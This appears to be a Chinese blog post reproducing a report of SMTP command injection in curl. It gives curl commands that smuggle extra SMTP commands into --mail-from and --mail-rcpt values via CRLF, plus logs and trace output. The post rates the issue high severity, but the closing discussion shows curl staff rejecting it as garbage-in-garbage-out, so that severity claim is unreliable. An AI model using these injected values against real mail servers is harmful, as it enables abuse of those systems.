curl SMTP命令注入漏洞深度分析

本文详细分析了curl中存在的SMTP命令注入漏洞,攻击者可通过在邮件地址中插入回车换行符注入任意SMTP命令,涵盖三种不同的注入场景和复现步骤。

漏洞概述

成功复现了curl中的SMTP命令注入漏洞,攻击者可通过在邮件地址中使用回车换行符(\r\n)注入任意SMTP命令。

已确认的漏洞

1. MAIL FROM注入

描述: 通过–mail-from参数使用bash ANSI C引用进行注入 影响: 允许在MAIL FROM后注入额外的SMTP命令

2. RCPT TO注入

描述: 通过–mail-rcpt参数使用bash ANSI C引用进行注入 影响: 允许在RCPT TO后注入额外的SMTP命令

3. EXPN路径注入

描述: 通过–mail-rcpt参数在EXPN请求中进行注入 影响: 允许在EXPN操作中注入额外的SMTP命令

测试环境设置

SMTP服务器设置

1
2
3
4
5
6
7
# 在Docker中构建并运行SMTP服务器
docker build -f Dockerfile.smtp -t smtp-server .
docker run -d -p 2525:2525 --name smtp-test smtp-server

# 验证服务器运行状态
docker ps
docker logs smtp-test

复现步骤

步骤1: MAIL FROM注入

1
2
3
4
5
curl --url smtp://127.0.0.1:2525 \
     --mail-rcpt victim@local \
     --mail-from $'<attacker@local>\r\nRCPT TO:<pwn@local>' \
     -T /etc/hosts \
     --trace-ascii -

预期结果:

步骤2: RCPT TO注入

1
2
3
4
5
curl --url smtp://127.0.0.1:2525 \
     --mail-from attacker@local \
     --mail-rcpt $'<victim@local>\r\nVRFY postmaster' \
     -T /etc/hosts \
     --trace-ascii -

预期结果:

  • curl发送: RCPT TO:victim@local (预期命令)
  • curl发送: VRFY postmaster> (注入的命令)

步骤3: EXPN路径注入

1
2
3
4
curl --url smtp://127.0.0.1:2525 \
     --request EXPN \
     --mail-rcpt $'listname\r\nVRFY postmaster' \
     --trace-ascii -

预期结果:

  • curl发送: EXPN listname (预期命令)
  • curl发送: VRFY postmaster (注入的命令)

证据

SMTP服务器日志

SMTP服务器日志清晰显示注入的命令:

1
2
3
2025-09-25 15:06:13,008 - INFO - ('192.168.65.1', 49640) >> b'MAIL FROM:<attacker@local>'
2025-09-25 15:06:13,010 - INFO - ('192.168.65.1', 49640) >> b'RCPT TO:<pwn@local> SIZE=213'
2025-09-25 15:06:13,010 - INFO - ('192.168.65.1', 49640) >> b'RCPT TO:<victim@local>'

curl跟踪输出

–trace-ascii输出显示发送的确切字节:

1
2
3
=> Send header, 58 bytes (0x3a)
0000: MAIL FROM:<attacker@local>
001c: RCPT TO:<pwn@local> SIZE=213

影响评估

严重性: 高 攻击向量: 网络 身份验证: 无需 用户交互: 无需 影响范围: 所有支持SMTP的curl版本

缓解措施

  • 输入验证: 清理邮件地址中的\r\n字符
  • 参数编码: 正确转义SMTP参数中的特殊字符
  • 协议合规性: 确保SMTP命令格式正确

创建的文件

  • smtp_server.py - 用于测试的Python SMTP服务器
  • Dockerfile.smtp - SMTP服务器的Docker配置
  • SMTP_INJECTION_REPORT.md - 本报告

讨论记录

bagder (curl工作人员): 攻击者如何将换行符插入参数中?

giant_anteater: 通过向curl/libcurl提供原始CRLF(例如通过–mail-from/–mail-rcpt或CURLOPT_MAIL_FROM/RCPT),curl会逐字发送;由于SMTP使用CRLF作为命令分隔符,\r\n之后的所有内容都会被解析为新命令。

dfandrich (curl工作人员): 复现步骤向–mail-from提供了无效值,这违反了文档说明,属于垃圾进垃圾出(GIGO)情况。

最终状态: curl团队认为这不是安全问题,根据项目透明政策,报告已被公开披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计